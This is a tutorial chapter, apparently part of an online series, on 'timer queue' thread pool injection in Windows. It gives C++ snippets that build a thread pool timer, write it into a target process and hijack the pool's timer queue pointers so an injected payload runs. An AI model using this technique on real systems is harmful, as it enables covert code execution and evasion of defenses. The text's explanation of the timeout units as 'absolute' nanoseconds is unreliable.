

Attacking Timer Queues

 urien.gitbook.io/diago-lima/abusing-tls-callbacks-for-payload-execution/introduction

⋮

Code: <https://github.com/Uri3n/Thread-Pool-Injection-PoC/blob/main/ThreadPoolInjection/TimerInject.cpp>

This is the final type of thread pool attack, and only has one variant associated with it.

Since the timer queue, similarly to the work queue, is implemented entirely in user mode, there's no need to create kernel objects or interact with them in any way.

To create a timer structure, we'll need to call **CreateThreadPoolTimer**, which will return us a **FULL_TP_TIMER** structure.

```
pFullTpTimer = reinterpret_cast<PFULL_TP_TIMER>(
    CreateThreadpoolTimer(
        static_cast<PTP_TIMER_CALLBACK>(payloadAddress),
        nullptr,
        nullptr));
```

Once we allocate some memory for the structure via **VirtualAllocEx**, we'll need to modify some members of the structure before we can write it. First is the struct's "pool" member, which needs to point to the thread pool that the callback is associated with. Remember that function we were using earlier to get a pointer to the main thread pool structure, **NtQueryInformationWorkerFactory**? We'll be using that again here.

```
pFullTpTimer->Work.CleanupGroupMember.Pool =
    static_cast<PFULL_TP_POOL>(workerFactoryInfo.StartParameter);
```

Remember, the **StartParameter** member within the **WORKER_FACTORY_BASIC_INFORMATION** struct that's returned is a pointer to the **FULL_TP_POOL** struct.

Every task within the timer queue has a timeout interval associated with it. Which in simpler terms is how long to wait before executing the task. We'll also be setting that here, where **timeOutInterval** is **-10000000**. This is because the timeout needs to be in negative-nanoseconds.

```
pFullTpTimer->DueTime = timeOutInterval; //This is -10000000
```

Finally, we'll need to modify the timer queue directly, so that our callback gets executed immediately after the timer expires.

An important thing to note here is that much like the work queue, the timer queue is split off into separate sub-queues. In the case of the timer queue, it's split off into a “**relative queue**” as well as an “**absolute queue**”.

```
typedef struct _TPP_TIMER_QUEUE
{
    struct _RTL_SRWLOCK Lock;

    struct _TPP_TIMER_SUBQUEUE AbsoluteQueue; //< The “absolute queue”
    struct _TPP_TIMER_SUBQUEUE RelativeQueue; //< The “relative queue”

    INT32 AllocatedTimerCount;

    INT32 __PADDING__[1];
} TPP_TIMER_QUEUE, * PTPP_TIMER_QUEUE;
```

These two queues handle different types of time intervals, and for injection purposes, we'll be using the absolute queue specifically, since our time interval is in nanoseconds, an absolute time measurement.

Inserting a timer into the queue is quite confusing, and requires some additional explanation.

Each FULL_TP_TIMER structure contains two separate doubly linked lists, WindowStart and WindowEnd.

```
typedef struct _FULL_TP_TIMER
{
    —SNIP—

    union
    {
        struct _TPP_PH_LINKS WindowEndLinks;

        struct _LIST_ENTRY ExpirationLinks;
    };
};
```

```
struct _TPP_PH_LINKS WindowStartLinks;  
  
—SNIP—  
  
} FULL_TP_TIMER, * PFULL_TP_TIMER;
```

The exact usage of these linked lists is obscure, and internal to the operating system's documentation. What is known though, is how these linked lists are interacted with by the timer queue.

The thread pool manager takes a series of steps when a new timer is added to the queue. Firstly, it **enqueues** the timer, by setting two very important members inside of the TP_POOL structure.

```
Pool->TimerQueue.AbsoluteQueue.WindowStart.Root
```

```
Pool->TimerQueue.AbsoluteQueue.WindowEnd.Root
```

At the very end of the FULL_TP_POOL structure's TimerQueue member chain, exists the "Root" member, within the WindowStart and WindowEnd structures respectively. This is a pointer. When a new timer is enqueued, both of these Root members are changed to point to the **WindowEndLinks** and **WindowStartLinks** members within the TP_TIMER structure that's being queued up. Once the enqueueing is complete, the timer can be accessed through these pointers, and the countdown will begin.

So in other words, we need to manually change the WindowStart.Root, as well as WindowEnd.Root members within the pool, to point to our malicious timer structure.

This will essentially force the enqueueing of a new timer, and once it's set, the countdown will begin, and our payload will execute.

Before we can do that though, we'll need to modify our TP_TIMER structure slightly.

```
pFullTpTimer->WindowStartLinks.Children.Flink = &remoteTpTimer->WindowStartLinks.Children;
```

```
pFullTpTimer->WindowStartLinks.Children.Blink = &remoteTpTimer->WindowStartLinks.Children;
```

```
pFullTpTimer->WindowEndLinks.Children.Flink = &remoteTpTimer->WindowEndLinks.Children;
```

```
pFullTpTimer->WindowEndLinks.Children.Blink = &remoteTpTimer->WindowEndLinks.Children;
```

This may seem quite confusing, but all that's happening here is that we're modifying the front and back links of the two linked lists (Flink and Blink) to point to the head of the linked list they belong to. This essentially ensures that the linked lists only have one node, and it won't be used for anything by the thread pool.

Once we've done this, we'll do what we discussed earlier, and enqueue our timer by modifying the WindowStart.Root and WindowEnd.Root members within the pool to point to the correct member within our timer.

```
auto pTpTimerWindowStartLinks = &remoteTpTimer->WindowStartLinks;
```

```
if (!WriteProcessMemory(
    targetProcess,
    &pFullTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowStart.Root,
    reinterpret_cast<PVOID>(&pTpTimerWindowStartLinks),
    sizeof(pTpTimerWindowStartLinks),
    nullptr)) {
    return false;
}
```

```
auto pTpTimerWindowEndLinks = &remoteTpTimer->WindowEndLinks;
```

```
if (!WriteProcessMemory(
    targetProcess,
    &pFullTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowEnd.Root,
    reinterpret_cast<PVOID>(&pTpTimerWindowEndLinks),
    sizeof(pTpTimerWindowEndLinks),
    nullptr)) {
    return false;
}
```

Finally, we can use `NtSetTimer2` to signal the timer explicitly, starting the countdown for our enqueued timer.

```
dueTime.QuadPart = timeOutInterval;
```

```
T2_SET_PARAMETERS timerParameters = { 0 };
```

```
status = NtSetTimer2(  
    hTimer,  
    &dueTime,  
    NULL,  
    &timerParameters);
```

After the delay we specified earlier, which in this case will be 1 second, the payload will execute.